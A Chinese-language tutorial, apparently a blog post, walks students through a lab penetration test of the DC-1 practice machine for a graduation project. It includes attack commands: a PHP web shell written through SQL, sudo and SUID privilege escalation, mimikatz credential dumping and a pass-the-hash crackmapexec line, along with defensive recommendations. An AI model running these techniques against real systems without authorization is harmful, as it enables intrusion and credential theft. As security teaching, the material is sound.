1. 项目概述一次完整的毕业设计渗透测试实战又到了一年一度的毕业季对于信息安全、网络工程或者计算机相关专业的同学来说毕业设计选择“渗透测试”方向绝对是一个既能展示技术实力又能让论文内容充实饱满的好选题。但很多同学拿到这个题目后往往感到无从下手信息收集到底要收集什么漏洞扫描扫出一堆结果哪个才是突破口拿到一个Shell之后又该怎么深入整个过程就像拼图缺了任何一块都无法完成最终的攻击链。我当年做毕设时也经历过这个阶段后来在甲方做安全工程师又主导和评审过不少渗透测试项目。今天我就以一个“过来人”兼从业者的视角为你拆解一次完整的渗透测试实战。我们不会空谈理论而是模拟一个从零开始对某个虚拟靶机比如大家常练手的DC系列、Vulnhub上的各种靶机进行渗透的全过程。目标是让你掌握从信息收集到漏洞利用再到权限提升、内网横向移动最终获取所有Flag目标的完整技术链条和思维逻辑。这不仅是完成毕设的“武功秘籍”更是你踏入安全行业前一次宝贵的实战预演。2. 渗透测试的整体流程与核心思路在动手之前我们必须先建立起正确的流程观。渗透测试不是拿着扫描器乱扫一气而是一个有章法、分阶段的工程过程。主流框架如PTES渗透测试执行标准或我们自己内部流程通常将其划分为几个关键阶段。2.1 阶段划分与目标定义一次标准的渗透测试可以清晰地划分为五个主要阶段前期交互与情报收集明确测试范围、规则哪些能测哪些不能测、目标以及授权。对于毕设或靶机练习范围就是靶机IP或域名规则通常是“除了拒绝服务攻击(DoS)其他手段均可”。信息收集这是所有后续工作的基石。目标是尽可能多地收集关于目标的一切信息包括但不限于域名、子域名、IP地址、开放端口、运行服务、Web应用框架、中间件版本、员工邮箱、社交媒体信息等。信息收集的深度和广度直接决定了后续攻击面的宽度。威胁建模与漏洞分析基于收集到的信息构建目标系统的模型分析其可能存在的脆弱点。利用自动化工具如Nessus, OpenVAS和手动验证发现并确认漏洞。漏洞利用与后渗透这是最“炫技”的阶段。利用已确认的漏洞获取系统的初始访问权限例如得到一个Web Shell或反向Shell。之后进行权限提升、持久化驻留、内网信息收集和横向移动最终达成测试目标如获取特定文件、控制关键服务器。报告编写将测试过程、发现的风险、利用路径、影响程度以及修复建议整理成一份专业的报告。对于毕设而言这份报告就是你的论文核心。注意在真实授权测试中授权是红线中的红线。没有书面授权任何测试行为都可能构成违法。毕设中务必在虚拟环境如VMware/VirtualBox搭建的靶机中进行。2.2 核心思路攻击者思维贯穿整个流程的是一种“攻击者思维”。你需要不断问自己如果我是管理员我会忽略哪些配置如默认密码、调试页面这个服务这个版本历史上出过哪些著名的漏洞对应CVE编号在获取一个低权限Shell后我如何能成为root/Administrator这台机器在内网中可能扮演什么角色是开发机、数据库服务器还是域控制器这种思维方式的培养比学会使用某个具体工具更重要。3. 深度信息收集打开目标系统的“地图”信息收集是体力活更是技术活。我们把它分为被动收集和主动收集。3.1 被动信息收集不接触目标的“侦察”被动收集是指不直接与目标系统交互从公开渠道获取信息。这非常隐蔽是真实攻击的第一步。Whois查询获取域名注册人、邮箱、电话、注册商等信息。whois target.com或使用在线网站。这些信息可能用于社会工程学攻击或发现关联资产。DNS信息枚举DNS记录查询使用dig或nslookup命令查找A记录IP、MX记录邮件服务器、TXT记录可能包含SPF配置或其他信息。dig target.com ANY nslookup -typeMX target.com子域名爆破使用工具如subfinder,amass,assetfinder或者字典爆破工具如gobuster、ffuf。子域名常常是安全防护的薄弱点。subfinder -d target.com -o subdomains.txt gobuster dns -d target.com -w /usr/share/wordlists/subdomains-top1million-5000.txt -o gobuster_sub.out搜索引擎黑客技术利用Google、Shodan、FoFa、ZoomEye等搜索引擎的语法发现暴露的目录、配置文件、备份文件等。例如在Google搜索site:target.com filetype:pdf或在Shodan搜索http.title:target。证书透明度日志通过crt.sh等网站查询目标域名签发的SSL证书常能发现未公开的子域名。3.2 主动信息收集与目标的“初次接触”主动收集会向目标发送数据包可能被日志记录但信息更直接准确。主机发现确定目标IP是否存活。常用ping扫描但很多主机禁ping。更可靠的是使用nmap的-Pn参数跳过主机发现直接进行端口扫描。端口扫描与服务识别这是重中之重。使用nmap进行全端口扫描和版本探测。# 快速扫描常用端口 nmap -sV -sC -O target_ip # 全端口扫描速度较慢但全面 nmap -p- -sV -sC -O target_ip关键参数解读-sV: 探测服务/版本信息。看到Apache 2.4.49就要立刻想到CVE-2021-41773。-sC: 使用默认脚本进行漏洞探测有时能直接发现漏洞。-O: 尝试识别操作系统。-p-: 扫描所有65535个端口。务必养成全端口扫描的习惯管理员常把服务开在非标准端口如将SSH开在2222端口Web开在8080端口。Web应用信息收集如果开放了80/443或其他Web端口。目录/文件爆破使用gobuster或dirsearch寻找隐藏目录、后台登录页面、备份文件.bak, .old、配置文件config.php, .env。gobuster dir -u http://target_ip -w /usr/share/wordlists/dirb/common.txt -x php,txt,bak指纹识别使用whatweb或Wappalyzer浏览器插件识别Web框架ThinkPHP, Spring、中间件Nginx, Apache、前端库等。whatweb http://target_ip爬取网站使用burpsuite的爬虫功能或gospider获取完整的网站链接结构分析参数。实操心得信息收集阶段一定要做好记录我习惯用Obsidian或简单的Markdown文件将发现的每一个IP、域名、端口、服务版本、可疑目录都记录下来。后期分析时这张“地图”价值连城。对于Web应用务必手动浏览每个功能点用Burp Suite拦截所有请求观察参数和响应自动化工具会遗漏很多逻辑漏洞的线索。4. 漏洞扫描、分析与利用链构建拿到详细的信息收集报告后我们进入漏洞挖掘阶段。这里要避免一个误区不要完全依赖自动化扫描器的结果。扫描器是很好的辅助但会产生大量误报和漏报。4.1 自动化漏洞扫描与验证使用Nexpose, OpenVAS, Nessus这些是专业的漏洞扫描器拥有庞大的CVE知识库。它们能快速识别出已知版本的组件存在的公开漏洞。例如扫描发现目标运行着Apache Struts 2.3.5扫描器会立刻提示S2-016、S2-017等远程代码执行漏洞。Web漏洞扫描使用AWVS,AppScan或开源的Nikto、ZAP进行Web应用层扫描。Nikto可以快速检查服务器配置错误和已知问题。nikto -h http://target_ip手动验证这是区分脚本小子和真正渗透测试员的关键。扫描器说存在SQL注入你需要手动用、and 11、and 12去验证判断注入类型整型、字符型、盲注并用union select等方式尝试获取数据。扫描器说存在XSS你需要构造Payload并在浏览器中触发证明可以弹窗或窃取Cookie。4.2 手动漏洞挖掘与逻辑梳理很多高危漏洞是扫描器发现不了的尤其是业务逻辑漏洞。越权漏洞包括水平越权访问同级别其他用户数据和垂直越权普通用户执行管理员操作。测试方法用两个账号如userA和userB对比操作同一资源如/api/user/1/profile的权限。密码重置逻辑漏洞尝试绕过验证码、修改接收邮件的参数、使用未绑定的手机号等。支付逻辑漏洞修改商品数量为负数、修改支付金额为0、重复提交订单、并发请求等。文件上传漏洞不仅检查能否上传.php、.jsp后缀还要检查是否绕过前端校验、黑名单过滤尝试.phtml、.php5、内容类型校验修改Content-Type、文件头校验在图片后追加恶意代码。结合解析漏洞如IIS的;.jpg、Nginx的%00截断和条件竞争漏洞。4.3 构建攻击链从入口点到目标单一漏洞可能无法直达目标需要将多个漏洞串联起来形成攻击链。案例思路信息收集发现目标存在一个公开的phpMyAdmin页面端口8080。尝试弱口令root/root, admin/admin成功登录。通过phpMyAdmin的SQL执行功能写入一个一句话Web Shell到网站可访问目录。SELECT ?php eval($_POST[cmd]);? INTO OUTFILE /var/www/html/shell.php用中国菜刀或蚁剑连接http://target_ip/shell.php获得Web Shell。在Web Shell中发现当前用户是www-data权限很低。上传Linux提权检测脚本如LinEnum、linux-exploit-suggester发现系统内核版本存在脏牛Dirty Cow漏洞。下载并编译脏牛漏洞利用程序成功提权至root。在root权限下读取/root/flag.txt完成目标。这个链条就包含了信息收集 - 弱口令爆破 - 数据库写文件 - 代码执行 - 内核提权。你的毕设报告就需要清晰地阐述这个链条的每一个环节。5. 后渗透阶段权限提升与内网横向移动获得初始立足点一个Shell只是开始。这个Shell往往权限很低如www-data、iis apppool\defaultapppool。我们需要提升权限并探索内网。5.1 权限提升提权Windows提权信息收集使用whoami /all、systeminfo查看系统信息、补丁情况。上传WinPEAS或PowerUp.ps1等自动化脚本快速识别提权路径。常见路径服务提权检查是否有服务以SYSTEM权限运行但其二进制文件路径或配置文件可被当前用户修改。用sc qc ServiceName查看服务配置。计划任务用schtasks /query /fo LIST /v查看计划任务寻找以高权限运行且脚本可写的任务。AlwaysInstallElevated检查注册表HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated是否为1是则任何MSI文件都以SYSTEM权限安装。未安装的补丁根据systeminfo输出的补丁列表对照公开的提权EXP如PrintNightmare, CVE-2021-1675寻找可用的本地提权漏洞。Linux提权信息收集运行id、uname -a、cat /etc/passwd、sudo -l**非常重要**查看当前用户可以以root身份运行哪些命令。常见路径SUID/SGID文件查找设置了SUID位的文件如果这些文件是二进制程序且属于root运行时就拥有root权限。使用find / -perm -us -type f 2/dev/null查找。经典的如/usr/bin/find、/usr/bin/vim、/usr/bin/nmap旧版本交互模式等可以通过特定参数执行命令提权。Sudo权限滥用sudo -l显示如果用户可以sudo执行某些命令而不需要密码就可能提权。例如允许sudo /usr/bin/vim则可以在vim中执行:!bash获得root shell。内核漏洞使用uname -a查看内核版本用searchsploit或上网搜索对应版本的提权EXP。如著名的脏牛CVE-2016-5195。环境变量劫持如果SUID程序调用了另一个未使用绝对路径的命令如system(ps)我们可以通过修改PATH环境变量让系统执行我们自己的恶意ps程序。5.2 内网信息收集与横向移动提权到高权限如Windows的SYSTEM、Linux的root后就可以畅游内网了。内网信息收集网络拓扑ipconfig /all(Windows) 或ifconfig、ip addr(Linux) 查看本机IP、网关、DNS。arp -a查看ARP缓存。netstat -ano查看网络连接。用户与共享Windows:net user、net localgroup administrators、net view、net share。Linux:cat /etc/passwd、cat /etc/shadow需要root、showmount -e查看NFS共享。密码与凭证提取Windows: 使用mimikatz提取内存中的明文密码和哈希。使用procdump导出lsass.exe进程内存再到本地用mimikatz分析。Linux: 查看~/.bash_history历史命令、/etc/passwd和/etc/shadow文件尝试用john或hashcat破解、~/.ssh/目录下的私钥。横向移动技术Pass The Hash (PTH)在Windows域环境中如果获取了某个用户的NTLM哈希即使不知道明文密码也可以利用该哈希通过SMB、WMI等方式远程登录到其他机器。使用crackmapexec工具可以很方便地进行测试。crackmapexec smb 192.168.1.0/24 -u Administrator -H aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0利用WMI或PsExec在拥有凭证的情况下使用wmic或psexec在远程主机上执行命令。SSH密钥登录如果获取了内网某台Linux服务器的SSH私钥且该密钥允许无密码登录其他机器就可以直接跳转。代理与隧道为了从外网访问内网资源需要建立隧道。常用frp、ngrok或EarthWorm。例如在跳板机已控机器上运行frpc将内网Web服务的端口映射到攻击者的VPS上从而直接访问。6. 实战案例拆解模拟DC-1靶机渗透我们以经典的Vulnhub靶机DC-1为例串联上述所有技术点。假设靶机IP为192.168.1.100。6.1 第一阶段信息收集与入口点获取主机发现与端口扫描nmap -sV -sC -p- 192.168.1.100结果发现开放了80/tcp (http)和22/tcp (ssh)。Web服务是Drupal 7。Web应用侦察访问http://192.168.1.100确认是Drupal 7 CMS。使用droopescan进行Drupal专门扫描。droopescan scan drupal -u http://192.168.1.100目录爆破发现/robots.txt、/admin等路径。漏洞利用获取ShellDrupal 7 在2018年被爆出严重的远程代码执行漏洞CVE-2018-7600又名Drupalgeddon2。使用公开的EXP如drupalgeddon2.rbMetasploit模块进行攻击。或者使用Python脚本直接利用。成功后在目标服务器上执行命令例如用python -c import pty; pty.spawn(/bin/bash)获取一个交互式Shell。当前用户是www-data。6.2 第二阶段权限提升与Flag寻找本地信息枚举运行sudo -l发现www-data用户可以以root身份无需密码运行/usr/bin/find。User www-data may run the following commands on dc-1: (root) NOPASSWD: /usr/bin/find利用SUDO权限提权利用find命令的-exec参数执行命令。sudo find /etc/passwd -exec /bin/bash ;- 执行后即可获得一个root权限的bash shell。输入 id 确认已是root。寻找FlagDC-1靶机通常有5个Flag。根据提示第一个Flag在Web根目录第二个Flag可能在MySQL数据库里第三个在某个用户的目录第四个需要提权后查看第五个是最终总结。使用find / -name *flag* 2/dev/null或find / -type f -name *.txt | xargs grep -l flag 2/dev/null来搜索。逐一找到并读取Flag文件理解每个Flag设置的意图如Flag1发现CMSFlag2数据库凭证Flag3本地文件包含Flag4提权Flag5总结。6.3 第三阶段总结与报告要点通过这个案例我们走完了完整流程端口扫描 - CMS识别 - 公开漏洞利用 - 获取Web Shell - Sudo权限滥用提权 - 达成目标。在毕设报告中你需要将这个过程详细记录并附上关键命令截图和结果说明。7. 常见问题、排查技巧与防御建议在实际操作中你肯定会遇到各种问题。这里分享一些“踩坑”经验。7.1 常见问题与解决方案问题场景可能原因排查思路与解决方案Nmap扫描无结果或很慢目标防火墙丢弃ICMP包网络不稳定使用了默认的SYN扫描被拦截。1. 使用-Pn参数跳过主机发现。2. 使用-T4提高扫描速度。3. 尝试不同的扫描技术如-sS(SYN),-sT(TCP connect)。4. 检查本地VPN或网络配置。漏洞利用失败EXP与目标环境不匹配版本、补丁、配置Payload被防火墙或WAF拦截。1.精确信息收集再次确认服务版本、操作系统、补丁。2.修改Payload尝试编码Payload、使用不同格式的Shellcode、调整参数。3.手工验证用最简单的方式验证漏洞是否存在再使用复杂EXP。获取的Shell不稳定反弹Shell是单向的、非交互式或容易意外断开。1. 使用python/ptys升级为完全交互式Shellpython -c import pty; pty.spawn(/bin/bash)2. 使用socat获取更稳定的TTY。3. 在Web Shell中尝试写入一个反弹Shell的脚本到计划任务或启动项。提权脚本运行无结果脚本依赖的工具不存在如gcc, curl当前用户权限太低无法访问某些目录。1. 手动检查脚本提示的提权点如sudo -l, SUID文件。2. 静态上传编译好的EXP二进制文件到目标。3. 尝试使用wget或curl从攻击机下载如果被禁用可尝试使用python或php的HTTP模块下载。内网隧道无法建立跳板机出网策略限制防火墙拦截隧道协议端口。1. 尝试使用不同端口如80, 443, 53 DNS端口。2. 使用DNS隧道等更隐蔽的方式。3. 检查跳板机是否能访问外网特定端口nc -zv your_vps_ip 8080。7.2 给防守方的建议毕设中的“修复方案”部分在你的毕设报告中除了攻击过程还必须包含对发现漏洞的修复建议这是体现你专业性的关键。针对弱口令/默认口令强制实施强密码策略长度、复杂度、定期更换。禁用或修改所有默认账户和密码。对重要系统启用双因素认证2FA。针对未授权访问/信息泄露将phpMyAdmin、Jenkins等管理后台置于内网或通过VPN访问。在robots.txt中避免暴露敏感目录。确保错误页面不泄露堆栈信息、版本号等。针对已知漏洞如Drupal CVE-2018-7600立即更新建立严格的软件资产清单和补丁管理流程及时应用安全更新。最小化安装移除不必要模块、插件和功能减少攻击面。使用WAF部署Web应用防火墙可拦截大部分已知漏洞的利用尝试。针对权限提升遵循最小权限原则应用程序如Web服务运行账户www-data应仅有必要的最小权限绝不能拥有sudo权限或可写系统关键目录。定期审计使用像LinEnum这样的脚本定期自查服务器检查SUID/SGID文件、sudo权限、计划任务、世界可写文件等。整体防御提升网络分段将Web服务器、数据库服务器、内部管理网络进行隔离。入侵检测部署HIDS主机入侵检测系统如OSSEC监控文件变化和可疑命令。日志审计集中收集并定期分析系统、应用和安全设备的日志。做毕设渗透测试项目最难的不是某个工具的使用而是将零散的知识点串联成一个有机的整体并形成清晰的攻击路径叙述。我的建议是先广度再深度按照本文的流程先走通一个简单靶机如DC-1的完整流程建立信心和框架感。然后再选择包含更多复杂技术点的靶机如HackTheBox上的机器进行挑战深入研究每一种漏洞的利用方式和防御手段。最后在论文写作时聚焦于一条或两条你认为最精彩、研究最深的攻击链把它讲透彻这远比罗列十种浅尝辄止的攻击方法更有价值。记住渗透测试的本质是思考工具只是思想的延伸。祝你毕设顺利在安全的道路上越走越远。